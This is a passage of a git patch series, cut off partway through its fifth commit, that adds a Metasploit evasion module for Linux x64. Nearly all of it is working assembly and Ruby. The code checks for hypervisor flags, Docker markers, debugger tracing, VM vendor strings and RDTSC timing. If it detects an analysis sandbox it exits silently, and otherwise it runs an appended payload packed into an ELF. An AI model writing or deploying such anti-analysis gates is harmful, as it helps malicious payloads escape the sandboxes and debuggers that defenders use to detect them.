From 2cae9d3fd7644b12f59b5fc1fa105408967e0941 Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 3 Jul 2026 12:42:29 +0200 Subject: [PATCH 1/8] drafting sandbox evasion --- .../core/payload/linux/x64/sandbox_evasion.rb | 274 ++++++++++++++++++ modules/evasion/linux/x64/sandbox_gate.rb | 54 ++++ 2 files changed, 328 insertions(+) create mode 100644 lib/msf/core/payload/linux/x64/sandbox_evasion.rb create mode 100644 modules/evasion/linux/x64/sandbox_gate.rb diff --git a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb new file mode 100644 index 0000000000000..61dd352570d89 --- /dev/null +++ b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb @@ -0,0 +1,274 @@ + + +module Msf::Payload::Linux::X64::SandboxEvasion + + def sandbox_evasion + asm = <<-ASM +_entry: + jmp _after_strings + +_strings: + db "/proc/cpuinfo", 0 ; r12 + 0 (len 14) + db "/proc/1/cgroup", 0 ; r12 + 15 (len 15) + db "/proc/self/status", 0 ; r12 + 31 (len 18) + db "/sys/class/dmi/id/sys_vendor", 0 ; r12 + 50 (len 29) + +_after_strings: + call _entry_cont ; push next RIP, then jump forward + +_entry_cont: + pop r12 ; r12 = address of _strings + sub rsp, 0x1000 + ; r15 = score accumulator + xor r15, r15 + +; ═════════════════════════════════════════════════════════════════════════════ +; CHECK 1 — /proc/cpuinfo contains "hypervisor" → score += 20 +; ═════════════════════════════════════════════════════════════════════════════ + lea rdi, [r12] ; path = r12 + 0 + xor rsi, rsi ; O_RDONLY + mov rax, 2 ; open() + syscall + test rax, rax + js _skip1 + mov r13, rax ; save fd + mov rdi, r13 + mov rsi, rsp ; buffer at rsp + mov rdx, 0x1000 + xor rax, rax ; read() + syscall + mov r14, rax ; r14 = bytes read + mov rdi, r13 + mov rax, 3 ; close(fd) + syscall + ; scan buffer for "hypervisor" (10 bytes) + xor rdx, rdx + sub r14, 10 +_loop1: + cmp rdx, r14 + jge _skip1 + cmp byte [rsp + rdx], 'h' + jne _next1 + cmp byte [rsp + rdx + 1], 'y' + jne _next1 + cmp byte [rsp + rdx + 2], 'p' + jne _next1 + cmp byte [rsp + rdx + 3], 'e' + jne _next1 + cmp byte [rsp + rdx + 4], 'r' + jne _next1 + cmp byte [rsp + rdx + 5], 'v' + jne _next1 + cmp byte [rsp + rdx + 6], 'i' + jne _next1 + cmp byte [rsp + rdx + 7], 's' + jne _next1 + cmp byte [rsp + rdx + 8], 'o' + jne _next1 + cmp byte [rsp + rdx + 9], 'r' + jne _next1 + add r15, 20 + jmp _skip1 +_next1: + inc rdx + jmp _loop1 +_skip1: + +; ═════════════════════════════════════════════════════════════════════════════ +; CHECK 2 — /proc/1/cgroup contains "docker" → score += 20 +; ═════════════════════════════════════════════════════════════════════════════ + lea rdi, [r12 + 15] ; path = r12 + 15 + xor rsi, rsi + mov rax, 2 + syscall + test rax, rax + js _skip2 + mov r13, rax + mov rdi, r13 + mov rsi, rsp + mov rdx, 0x1000 + xor rax, rax + syscall + mov r14, rax + mov rdi, r13 + mov rax, 3 + syscall + xor rdx, rdx + sub r14, 6 +_loop2: + cmp rdx, r14 + jge _skip2 + cmp byte [rsp + rdx], 'd' + jne _next2 + cmp byte [rsp + rdx + 1], 'o' + jne _next2 + cmp byte [rsp + rdx + 2], 'c' + jne _next2 + cmp byte [rsp + rdx + 3], 'k' + jne _next2 + cmp byte [rsp + rdx + 4], 'e' + jne _next2 + cmp byte [rsp + rdx + 5], 'r' + jne _next2 + add r15, 20 + jmp _skip2 +_next2: + inc rdx + jmp _loop2 +_skip2: + +; ═════════════════════════════════════════════════════════════════════════════ +; CHECK 3 — /proc/self/status TracerPid field != 0 → score += 25 +; +; Format: "TracerPid:\t\n" +; We locate "TracerPid:\t" then check if the next byte is '0'. +; A value of '0' means not traced; anything else means traced. +; ═════════════════════════════════════════════════════════════════════════════ + lea rdi, [r12 + 31] ; path = r12 + 31 + xor rsi, rsi + mov rax, 2 + syscall + test rax, rax + js _skip3 + mov r13, rax + mov rdi, r13 + mov rsi, rsp + mov rdx, 0x1000 + xor rax, rax + syscall + mov r14, rax + mov rdi, r13 + mov rax, 3 + syscall + xor rdx, rdx + sub r14, 12 +_loop3: + cmp rdx, r14 + jge _skip3 + cmp byte [rsp + rdx], 'T' + jne _next3 + cmp byte [rsp + rdx + 1], 'r' + jne _next3 + cmp byte [rsp + rdx + 2], 'a' + jne _next3 + cmp byte [rsp + rdx + 3], 'c' + jne _next3 + cmp byte [rsp + rdx + 4], 'e' + jne _next3 + cmp byte [rsp + rdx + 5], 'r' + jne _next3 + cmp byte [rsp + rdx + 6], 'P' + jne _next3 + cmp byte [rsp + rdx + 7], 'i' + jne _next3 + cmp byte [rsp + rdx + 8], 'd' + jne _next3 + cmp byte [rsp + rdx + 9], ':' + jne _next3 + cmp byte [rsp + rdx + 10], 0x09 ; tab character + jne _next3 + cmp byte [rsp + rdx + 11], '0' + je _next3 ; TracerPid: 0 = not traced, skip + add r15, 25 + jmp _skip3 +_next3: + inc rdx + jmp _loop3 +_skip3: + +; ═════════════════════════════════════════════════════════════════════════════ +; CHECK 4 — /sys/class/dmi/id/sys_vendor contains known VM vendor → score += 20 +; Checks: "VMware", "QEMU", "innotek" (VirtualBox), "Microsoft" (Hyper-V) +; ═════════════════════════════════════════════════════════════════════════════ + lea rdi, [r12 + 50] ; path = r12 + 50 + xor rsi, rsi + mov rax, 2 + syscall + test rax, rax + js _skip4 + mov r13, rax + mov rdi, r13 + mov rsi, rsp + mov rdx, 0x100 ; sys_vendor is short, 256 bytes enough + xor rax, rax + syscall + mov r14, rax + mov rdi, r13 + mov rax, 3 + syscall + xor rdx, rdx + sub r14, 4 +_loop4: + cmp rdx, r14 + jge _skip4 + ; "VMwa" prefix → VMware + cmp byte [rsp + rdx], 'V' + jne _chk_qemu + cmp byte [rsp + rdx + 1], 'M' + jne _chk_qemu + cmp byte [rsp + rdx + 2], 'w' + jne _chk_qemu + cmp byte [rsp + rdx + 3], 'a' + jne _chk_qemu + add r15, 20 + jmp _skip4 +_chk_qemu: + ; "QEMU" → QEMU/KVM + cmp byte [rsp + rdx], 'Q' + jne _chk_vbox + cmp byte [rsp + rdx + 1], 'E' + jne _chk_vbox + cmp byte [rsp + rdx + 2], 'M' + jne _chk_vbox + cmp byte [rsp + rdx + 3], 'U' + jne _chk_vbox + add r15, 20 + jmp _skip4 +_chk_vbox: + ; "inno" prefix → innotek (VirtualBox) + cmp byte [rsp + rdx], 'i' + jne _chk_hyperv + cmp byte [rsp + rdx + 1], 'n' + jne _chk_hyperv + cmp byte [rsp + rdx + 2], 'n' + jne _chk_hyperv + cmp byte [rsp + rdx + 3], 'o' + jne _chk_hyperv + add r15, 20 + jmp _skip4 +_chk_hyperv: + ; "Micr" prefix → Microsoft (Hyper-V) + cmp byte [rsp + rdx], 'M' + jne _next4 + cmp byte [rsp + rdx + 1], 'i' + jne _next4 + cmp byte [rsp + rdx + 2], 'c' + jne _next4 + cmp byte [rsp + rdx + 3], 'r' + jne _next4 + add r15, 20 + jmp _skip4 +_next4: + inc rdx + jmp _loop4 +_skip4: + +; ═════════════════════════════════════════════════════════════════════════════ +; GATE — if score >= 50 call exit_group(0), else fall through to payload +; ═════════════════════════════════════════════════════════════════════════════ + cmp r15, 50 + jl _pass + + mov rax, 231 ; exit_group(0) — silent exit + xor rdi, rdi + syscall + +_pass: + add rsp, 0x1000 ; restore stack frame + ; execution falls through into raw payload bytes appended by run() + ASM + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + + end diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb new file mode 100644 index 0000000000000..a12ddea2aceac --- /dev/null +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + include Msf::Payload::Linux::X64::SandboxEvasion + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux x64 Sandbox Environment Gate', + 'Description' => %q{ + Generates a Linux x64 ELF whose entry point is a pre-execution + environment gate. Checks /proc/cpuinfo (hypervisor flag), + /proc/1/cgroup (docker), /proc/self/status (TracerPid), and + /sys/class/dmi/id/sys_vendor (VM vendor string). + }, + 'Author' => ['Massimo Bertocchi'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'Targets' => [['Linux x64', {}]], + 'DefaultTarget' => 0 + ) + ) + + register_options( + [ + OptString.new('FILENAME', [true, 'Output filename', 'env_gate.elf']) + ] + ) + end + + def run + raw_payload = payload.encoded + if raw_payload.blank? + fail_with(Failure::BadConfig, 'Failed to generate payload') + end + + gate_stub = sandbox_evasion + if gate_stub.blank? + fail_with(Failure::BadConfig, 'Gate stub assembly failed') + end + + combined = gate_stub + raw_payload + final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, combined) + + File.binwrite(datastore['FILENAME'], final_elf) + File.chmod(0o755, datastore['FILENAME']) + end +end \ No newline at end of file From 503343cdbb27235064c60c793d6b8a2da895b4e2 Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 3 Jul 2026 13:14:30 +0200 Subject: [PATCH 2/8] update sandbox evasion --- .../core/payload/linux/x64/sandbox_evasion.rb | 563 +++++++++--------- 1 file changed, 292 insertions(+), 271 deletions(-) diff --git a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb index 61dd352570d89..2f2311bba09f2 100644 --- a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb +++ b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb @@ -1,274 +1,295 @@ +module Msf::Payload::Linux::X64::SandboxEvasion + def sandbox_evasion + asm = %Q^ +start: + jmp get_strings +main: + pop r12 ; r12 = address of first string + sub rsp, 0x1000 ; allocate 4KB buffer + xor r15, r15 ; score = 0 -module Msf::Payload::Linux::X64::SandboxEvasion +; ───────────────────────────────────────────────────────────── +; Check 1: /proc/cpuinfo for "hypervisor" → +20 +; String at r12 + 0 +; ───────────────────────────────────────────────────────────── +check1: + lea rdi, [r12 + 0] ; path = "/proc/cpuinfo" + xor esi, esi ; O_RDONLY + mov eax, 2 ; open() + syscall + test rax, rax + js check2 - def sandbox_evasion - asm = <<-ASM -_entry: - jmp _after_strings - -_strings: - db "/proc/cpuinfo", 0 ; r12 + 0 (len 14) - db "/proc/1/cgroup", 0 ; r12 + 15 (len 15) - db "/proc/self/status", 0 ; r12 + 31 (len 18) - db "/sys/class/dmi/id/sys_vendor", 0 ; r12 + 50 (len 29) - -_after_strings: - call _entry_cont ; push next RIP, then jump forward - -_entry_cont: - pop r12 ; r12 = address of _strings - sub rsp, 0x1000 - ; r15 = score accumulator - xor r15, r15 - -; ═════════════════════════════════════════════════════════════════════════════ -; CHECK 1 — /proc/cpuinfo contains "hypervisor" → score += 20 -; ═════════════════════════════════════════════════════════════════════════════ - lea rdi, [r12] ; path = r12 + 0 - xor rsi, rsi ; O_RDONLY - mov rax, 2 ; open() - syscall - test rax, rax - js _skip1 - mov r13, rax ; save fd - mov rdi, r13 - mov rsi, rsp ; buffer at rsp - mov rdx, 0x1000 - xor rax, rax ; read() - syscall - mov r14, rax ; r14 = bytes read - mov rdi, r13 - mov rax, 3 ; close(fd) - syscall - ; scan buffer for "hypervisor" (10 bytes) - xor rdx, rdx - sub r14, 10 -_loop1: - cmp rdx, r14 - jge _skip1 - cmp byte [rsp + rdx], 'h' - jne _next1 - cmp byte [rsp + rdx + 1], 'y' - jne _next1 - cmp byte [rsp + rdx + 2], 'p' - jne _next1 - cmp byte [rsp + rdx + 3], 'e' - jne _next1 - cmp byte [rsp + rdx + 4], 'r' - jne _next1 - cmp byte [rsp + rdx + 5], 'v' - jne _next1 - cmp byte [rsp + rdx + 6], 'i' - jne _next1 - cmp byte [rsp + rdx + 7], 's' - jne _next1 - cmp byte [rsp + rdx + 8], 'o' - jne _next1 - cmp byte [rsp + rdx + 9], 'r' - jne _next1 - add r15, 20 - jmp _skip1 -_next1: - inc rdx - jmp _loop1 -_skip1: - -; ═════════════════════════════════════════════════════════════════════════════ -; CHECK 2 — /proc/1/cgroup contains "docker" → score += 20 -; ═════════════════════════════════════════════════════════════════════════════ - lea rdi, [r12 + 15] ; path = r12 + 15 - xor rsi, rsi - mov rax, 2 - syscall - test rax, rax - js _skip2 - mov r13, rax - mov rdi, r13 - mov rsi, rsp - mov rdx, 0x1000 - xor rax, rax - syscall - mov r14, rax - mov rdi, r13 - mov rax, 3 - syscall - xor rdx, rdx - sub r14, 6 -_loop2: - cmp rdx, r14 - jge _skip2 - cmp byte [rsp + rdx], 'd' - jne _next2 - cmp byte [rsp + rdx + 1], 'o' - jne _next2 - cmp byte [rsp + rdx + 2], 'c' - jne _next2 - cmp byte [rsp + rdx + 3], 'k' - jne _next2 - cmp byte [rsp + rdx + 4], 'e' - jne _next2 - cmp byte [rsp + rdx + 5], 'r' - jne _next2 - add r15, 20 - jmp _skip2 -_next2: - inc rdx - jmp _loop2 -_skip2: - -; ═════════════════════════════════════════════════════════════════════════════ -; CHECK 3 — /proc/self/status TracerPid field != 0 → score += 25 -; -; Format: "TracerPid:\t\n" -; We locate "TracerPid:\t" then check if the next byte is '0'. -; A value of '0' means not traced; anything else means traced. -; ═════════════════════════════════════════════════════════════════════════════ - lea rdi, [r12 + 31] ; path = r12 + 31 - xor rsi, rsi - mov rax, 2 - syscall - test rax, rax - js _skip3 - mov r13, rax - mov rdi, r13 - mov rsi, rsp - mov rdx, 0x1000 - xor rax, rax - syscall - mov r14, rax - mov rdi, r13 - mov rax, 3 - syscall - xor rdx, rdx - sub r14, 12 -_loop3: - cmp rdx, r14 - jge _skip3 - cmp byte [rsp + rdx], 'T' - jne _next3 - cmp byte [rsp + rdx + 1], 'r' - jne _next3 - cmp byte [rsp + rdx + 2], 'a' - jne _next3 - cmp byte [rsp + rdx + 3], 'c' - jne _next3 - cmp byte [rsp + rdx + 4], 'e' - jne _next3 - cmp byte [rsp + rdx + 5], 'r' - jne _next3 - cmp byte [rsp + rdx + 6], 'P' - jne _next3 - cmp byte [rsp + rdx + 7], 'i' - jne _next3 - cmp byte [rsp + rdx + 8], 'd' - jne _next3 - cmp byte [rsp + rdx + 9], ':' - jne _next3 - cmp byte [rsp + rdx + 10], 0x09 ; tab character - jne _next3 - cmp byte [rsp + rdx + 11], '0' - je _next3 ; TracerPid: 0 = not traced, skip - add r15, 25 - jmp _skip3 -_next3: - inc rdx - jmp _loop3 -_skip3: - -; ═════════════════════════════════════════════════════════════════════════════ -; CHECK 4 — /sys/class/dmi/id/sys_vendor contains known VM vendor → score += 20 -; Checks: "VMware", "QEMU", "innotek" (VirtualBox), "Microsoft" (Hyper-V) -; ═════════════════════════════════════════════════════════════════════════════ - lea rdi, [r12 + 50] ; path = r12 + 50 - xor rsi, rsi - mov rax, 2 - syscall - test rax, rax - js _skip4 - mov r13, rax - mov rdi, r13 - mov rsi, rsp - mov rdx, 0x100 ; sys_vendor is short, 256 bytes enough - xor rax, rax - syscall - mov r14, rax - mov rdi, r13 - mov rax, 3 - syscall - xor rdx, rdx - sub r14, 4 -_loop4: - cmp rdx, r14 - jge _skip4 - ; "VMwa" prefix → VMware - cmp byte [rsp + rdx], 'V' - jne _chk_qemu - cmp byte [rsp + rdx + 1], 'M' - jne _chk_qemu - cmp byte [rsp + rdx + 2], 'w' - jne _chk_qemu - cmp byte [rsp + rdx + 3], 'a' - jne _chk_qemu - add r15, 20 - jmp _skip4 -_chk_qemu: - ; "QEMU" → QEMU/KVM - cmp byte [rsp + rdx], 'Q' - jne _chk_vbox - cmp byte [rsp + rdx + 1], 'E' - jne _chk_vbox - cmp byte [rsp + rdx + 2], 'M' - jne _chk_vbox - cmp byte [rsp + rdx + 3], 'U' - jne _chk_vbox - add r15, 20 - jmp _skip4 -_chk_vbox: - ; "inno" prefix → innotek (VirtualBox) - cmp byte [rsp + rdx], 'i' - jne _chk_hyperv - cmp byte [rsp + rdx + 1], 'n' - jne _chk_hyperv - cmp byte [rsp + rdx + 2], 'n' - jne _chk_hyperv - cmp byte [rsp + rdx + 3], 'o' - jne _chk_hyperv - add r15, 20 - jmp _skip4 -_chk_hyperv: - ; "Micr" prefix → Microsoft (Hyper-V) - cmp byte [rsp + rdx], 'M' - jne _next4 - cmp byte [rsp + rdx + 1], 'i' - jne _next4 - cmp byte [rsp + rdx + 2], 'c' - jne _next4 - cmp byte [rsp + rdx + 3], 'r' - jne _next4 - add r15, 20 - jmp _skip4 -_next4: - inc rdx - jmp _loop4 -_skip4: - -; ═════════════════════════════════════════════════════════════════════════════ -; GATE — if score >= 50 call exit_group(0), else fall through to payload -; ═════════════════════════════════════════════════════════════════════════════ - cmp r15, 50 - jl _pass - - mov rax, 231 ; exit_group(0) — silent exit - xor rdi, rdi - syscall - -_pass: - add rsp, 0x1000 ; restore stack frame - ; execution falls through into raw payload bytes appended by run() - ASM - - Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string - end - - end + mov r13, rax ; fd + mov rdi, r13 + mov rsi, rsp ; buffer + mov edx, 0x1000 ; len + xor eax, eax ; read() + syscall + mov r14, rax ; bytes read + + mov rdi, r13 + mov eax, 3 ; close() + syscall + + cmp r14, 10 + jl check2 + xor rdx, rdx + sub r14, 10 + +scan_hv: + cmp rdx, r14 + jg check2 + cmp byte ptr [rsp + rdx + 0], 'h' + jne next_hv + cmp byte ptr [rsp + rdx + 1], 'y' + jne next_hv + cmp byte ptr [rsp + rdx + 2], 'p' + jne next_hv + cmp byte ptr [rsp + rdx + 3], 'e' + jne next_hv + cmp byte ptr [rsp + rdx + 4], 'r' + jne next_hv + cmp byte ptr [rsp + rdx + 5], 'v' + jne next_hv + cmp byte ptr [rsp + rdx + 6], 'i' + jne next_hv + cmp byte ptr [rsp + rdx + 7], 's' + jne next_hv + cmp byte ptr [rsp + rdx + 8], 'o' + jne next_hv + cmp byte ptr [rsp + rdx + 9], 'r' + jne next_hv + add r15, 20 + jmp check2 + +next_hv: + inc rdx + jmp scan_hv + +; ───────────────────────────────────────────────────────────── +; Check 2: /proc/1/cgroup for "docker" → +20 +; String at r12 + 14 +; ───────────────────────────────────────────────────────────── +check2: + lea rdi, [r12 + 14] ; path = "/proc/1/cgroup" + xor esi, esi + mov eax, 2 + syscall + test rax, rax + js check3 + + mov r13, rax + mov rdi, r13 + mov rsi, rsp + mov edx, 0x1000 + xor eax, eax + syscall + mov r14, rax + + mov rdi, r13 + mov eax, 3 + syscall + + cmp r14, 6 + jl check3 + xor rdx, rdx + sub r14, 6 + +scan_docker: + cmp rdx, r14 + jg check3 + cmp byte ptr [rsp + rdx + 0], 'd' + jne next_docker + cmp byte ptr [rsp + rdx + 1], 'o' + jne next_docker + cmp byte ptr [rsp + rdx + 2], 'c' + jne next_docker + cmp byte ptr [rsp + rdx + 3], 'k' + jne next_docker + cmp byte ptr [rsp + rdx + 4], 'e' + jne next_docker + cmp byte ptr [rsp + rdx + 5], 'r' + jne next_docker + add r15, 20 + jmp check3 + +next_docker: + inc rdx + jmp scan_docker + +; ───────────────────────────────────────────────────────────── +; Check 3: /proc/self/status for TracerPid != 0 → +25 +; String at r12 + 29 +; ───────────────────────────────────────────────────────────── +check3: + lea rdi, [r12 + 29] ; path = "/proc/self/status" + xor esi, esi + mov eax, 2 + syscall + test rax, rax + js check4 + + mov r13, rax + mov rdi, r13 + mov rsi, rsp + mov edx, 0x1000 + xor eax, eax + syscall + mov r14, rax + + mov rdi, r13 + mov eax, 3 + syscall + + cmp r14, 12 + jl check4 + xor rdx, rdx + sub r14, 12 + +scan_tracer: + cmp rdx, r14 + jg check4 + cmp byte ptr [rsp + rdx + 0], 'T' + jne next_tracer + cmp byte ptr [rsp + rdx + 1], 'r' + jne next_tracer + cmp byte ptr [rsp + rdx + 2], 'a' + jne next_tracer + cmp byte ptr [rsp + rdx + 3], 'c' + jne next_tracer + cmp byte ptr [rsp + rdx + 4], 'e' + jne next_tracer + cmp byte ptr [rsp + rdx + 5], 'r' + jne next_tracer + cmp byte ptr [rsp + rdx + 6], 'P' + jne next_tracer + cmp byte ptr [rsp + rdx + 7], 'i' + jne next_tracer + cmp byte ptr [rsp + rdx + 8], 'd' + jne next_tracer + cmp byte ptr [rsp + rdx + 9], ':' + jne next_tracer + cmp byte ptr [rsp + rdx + 10], 9 + jne next_tracer + cmp byte ptr [rsp + rdx + 11], '0' + je next_tracer + add r15, 25 + jmp check4 + +next_tracer: + inc rdx + jmp scan_tracer + +; ───────────────────────────────────────────────────────────── +; Check 4: /sys/class/dmi/id/sys_vendor for VM vendor → +20 +; String at r12 + 47 +; ───────────────────────────────────────────────────────────── +check4: + lea rdi, [r12 + 47] ; path = "/sys/class/dmi/id/sys_vendor" + xor esi, esi + mov eax, 2 + syscall + test rax, rax + js gate + + mov r13, rax + mov rdi, r13 + mov rsi, rsp + mov edx, 0x100 + xor eax, eax + syscall + mov r14, rax + + mov rdi, r13 + mov eax, 3 + syscall + + cmp r14, 4 + jl gate + xor rdx, rdx + sub r14, 4 + +scan_vendor: + cmp rdx, r14 + jg gate + + cmp byte ptr [rsp + rdx + 0], 'V' + jne chk_qemu + cmp byte ptr [rsp + rdx + 1], 'M' + jne chk_qemu + cmp byte ptr [rsp + rdx + 2], 'w' + jne chk_qemu + cmp byte ptr [rsp + rdx + 3], 'a' + jne chk_qemu + add r15, 20 + jmp gate + +chk_qemu: + cmp byte ptr [rsp + rdx + 0], 'Q' + jne chk_vbox + cmp byte ptr [rsp + rdx + 1], 'E' + jne chk_vbox + cmp byte ptr [rsp + rdx + 2], 'M' + jne chk_vbox + cmp byte ptr [rsp + rdx + 3], 'U' + jne chk_vbox + add r15, 20 + jmp gate + +chk_vbox: + cmp byte ptr [rsp + rdx + 0], 'i' + jne chk_hv + cmp byte ptr [rsp + rdx + 1], 'n' + jne chk_hv + cmp byte ptr [rsp + rdx + 2], 'n' + jne chk_hv + cmp byte ptr [rsp + rdx + 3], 'o' + jne chk_hv + add r15, 20 + jmp gate + +chk_hv: + cmp byte ptr [rsp + rdx + 0], 'M' + jne next_vendor + cmp byte ptr [rsp + rdx + 1], 'i' + jne next_vendor + cmp byte ptr [rsp + rdx + 2], 'c' + jne next_vendor + cmp byte ptr [rsp + rdx + 3], 'r' + jne next_vendor + add r15, 20 + jmp gate + +next_vendor: + inc rdx + jmp scan_vendor + +; ───────────────────────────────────────────────────────────── +; Gate: score >= 50 → exit_group(0), else fall through to payload +; ───────────────────────────────────────────────────────────── +gate: + cmp r15, 50 + jl pass + mov eax, 231 ; exit_group + xor edi, edi + syscall + +pass: + add rsp, 0x1000 ; restore stack + jmp payload_entry ; skip string table, into appended payload + +get_strings: + call main + db "/proc/cpuinfo", 0 + db "/proc/1/cgroup", 0 + db "/proc/self/status", 0 + db "/sys/class/dmi/id/sys_vendor", 0 + +payload_entry: + ; raw payload bytes appended immediately after this stub +^ + Metasm::Shellcode.assemble(Metasm::X86_64.new, asm).encode_string + end +end \ No newline at end of file From 017ea6bf8c4a96a61c5bd4f8110813724112770d Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 3 Jul 2026 13:42:12 +0200 Subject: [PATCH 3/8] fix linting --- modules/evasion/linux/x64/sandbox_gate.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb index a12ddea2aceac..dc85142faccae 100644 --- a/modules/evasion/linux/x64/sandbox_gate.rb +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -45,10 +45,10 @@ def run fail_with(Failure::BadConfig, 'Gate stub assembly failed') end - combined = gate_stub + raw_payload + combined = gate_stub+raw_payload final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, combined) File.binwrite(datastore['FILENAME'], final_elf) File.chmod(0o755, datastore['FILENAME']) end -end \ No newline at end of file +end From a00a4f2793171f4b62a2e610e92c90e24bb53513 Mon Sep 17 00:00:00 2001 From: litemars Date: Tue, 7 Jul 2026 10:30:46 +0200 Subject: [PATCH 4/8] removing extra spaces, linter failed --- modules/evasion/linux/x64/sandbox_gate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/evasion/linux/x64/sandbox_gate.rb b/modules/evasion/linux/x64/sandbox_gate.rb index dc85142faccae..cb4326ac81d53 100644 --- a/modules/evasion/linux/x64/sandbox_gate.rb +++ b/modules/evasion/linux/x64/sandbox_gate.rb @@ -45,7 +45,7 @@ def run fail_with(Failure::BadConfig, 'Gate stub assembly failed') end - combined = gate_stub+raw_payload + combined = gate_stub + raw_payload final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, combined) File.binwrite(datastore['FILENAME'], final_elf) From 4c45de721b157a74490068b81ed2db6fd4710340 Mon Sep 17 00:00:00 2001 From: litemars Date: Tue, 21 Jul 2026 15:20:52 +0200 Subject: [PATCH 5/8] changing logic in the sandbox detection - evasion module --- .../core/payload/linux/x64/sandbox_evasion.rb | 374 ++++++------------ modules/evasion/linux/x64/sandbox_gate.rb | 15 +- 2 files changed, 124 insertions(+), 265 deletions(-) diff --git a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb index 2f2311bba09f2..6d5466399a820 100644 --- a/lib/msf/core/payload/linux/x64/sandbox_evasion.rb +++ b/lib/msf/core/payload/linux/x64/sandbox_evasion.rb @@ -1,294 +1,150 @@ module Msf::Payload::Linux::X64::SandboxEvasion - def sandbox_evasion - asm = %Q^ -start: - jmp get_strings - -main: - pop r12 ; r12 = address of first string - sub rsp, 0x1000 ; allocate 4KB buffer - xor r15, r15 ; score = 0 + def sandbox_evasion(cores = 2, uptime = 600, check_docker = true, check_virt = false) + rdtsc_asm = "" + if check_virt + rdtsc_asm = %Q^ ; ───────────────────────────────────────────────────────────── -; Check 1: /proc/cpuinfo for "hypervisor" → +20 -; String at r12 + 0 +; Check: Execution Latency via RDTSC ; ───────────────────────────────────────────────────────────── -check1: - lea rdi, [r12 + 0] ; path = "/proc/cpuinfo" - xor esi, esi ; O_RDONLY - mov eax, 2 ; open() - syscall - test rax, rax - js check2 - - mov r13, rax ; fd - mov rdi, r13 - mov rsi, rsp ; buffer - mov edx, 0x1000 ; len - xor eax, eax ; read() - syscall - mov r14, rax ; bytes read - - mov rdi, r13 - mov eax, 3 ; close() - syscall - - cmp r14, 10 - jl check2 - xor rdx, rdx - sub r14, 10 - -scan_hv: - cmp rdx, r14 - jg check2 - cmp byte ptr [rsp + rdx + 0], 'h' - jne next_hv - cmp byte ptr [rsp + rdx + 1], 'y' - jne next_hv - cmp byte ptr [rsp + rdx + 2], 'p' - jne next_hv - cmp byte ptr [rsp + rdx + 3], 'e' - jne next_hv - cmp byte ptr [rsp + rdx + 4], 'r' - jne next_hv - cmp byte ptr [rsp + rdx + 5], 'v' - jne next_hv - cmp byte ptr [rsp + rdx + 6], 'i' - jne next_hv - cmp byte ptr [rsp + rdx + 7], 's' - jne next_hv - cmp byte ptr [rsp + rdx + 8], 'o' - jne next_hv - cmp byte ptr [rsp + rdx + 9], 'r' - jne next_hv - add r15, 20 - jmp check2 - -next_hv: - inc rdx - jmp scan_hv +check_rdtsc: + xor eax, eax + cpuid + rdtsc + shl rdx, 32 + or rax, rdx + mov r8, rax + xor eax, eax + cpuid + + rdtsc + shl rdx, 32 + or rax, rdx + + sub rax, r8 + + xor ebx, ebx + mov bx, 0x3E8 + cmp rax, rbx + jge sandbox_detected ; EXIT IF CYCLES >= 1000 + ^ + end + + docker_asm = "" + if check_docker + docker_asm = %Q^ ; ───────────────────────────────────────────────────────────── -; Check 2: /proc/1/cgroup for "docker" → +20 -; String at r12 + 14 +; Check: Container Detection via /.dockerenv existence ; ───────────────────────────────────────────────────────────── -check2: - lea rdi, [r12 + 14] ; path = "/proc/1/cgroup" - xor esi, esi - mov eax, 2 - syscall - test rax, rax - js check3 - - mov r13, rax - mov rdi, r13 - mov rsi, rsp - mov edx, 0x1000 +check_docker: xor eax, eax - syscall - mov r14, rax + push rax + mov rax, 0x766e6572656b636f + push rax + mov rax, 0x642e2f2f2f2f2f2f + push rax - mov rdi, r13 - mov eax, 3 + xor eax, eax + mov al, 21 + mov rdi, rsp + xor rsi, rsi syscall - cmp r14, 6 - jl check3 - xor rdx, rdx - sub r14, 6 + test rax, rax + js clean_docker + jmp sandbox_detected ; EXIT IF DOCKERENV EXISTS -scan_docker: - cmp rdx, r14 - jg check3 - cmp byte ptr [rsp + rdx + 0], 'd' - jne next_docker - cmp byte ptr [rsp + rdx + 1], 'o' - jne next_docker - cmp byte ptr [rsp + rdx + 2], 'c' - jne next_docker - cmp byte ptr [rsp + rdx + 3], 'k' - jne next_docker - cmp byte ptr [rsp + rdx + 4], 'e' - jne next_docker - cmp byte ptr [rsp + rdx + 5], 'r' - jne next_docker - add r15, 20 - jmp check3 +clean_docker: + pop rax + pop rax + pop rax + ^ + end -next_docker: - inc rdx - jmp scan_docker + asm = %Q^ +_start: + xor eax, eax + mov al, 128 + sub rsp, rax ; ───────────────────────────────────────────────────────────── -; Check 3: /proc/self/status for TracerPid != 0 → +25 -; String at r12 + 29 +; Check: CPU cores via sched_getaffinity ; ───────────────────────────────────────────────────────────── -check3: - lea rdi, [r12 + 29] ; path = "/proc/self/status" - xor esi, esi - mov eax, 2 - syscall - test rax, rax - js check4 - - mov r13, rax - mov rdi, r13 - mov rsi, rsp - mov edx, 0x1000 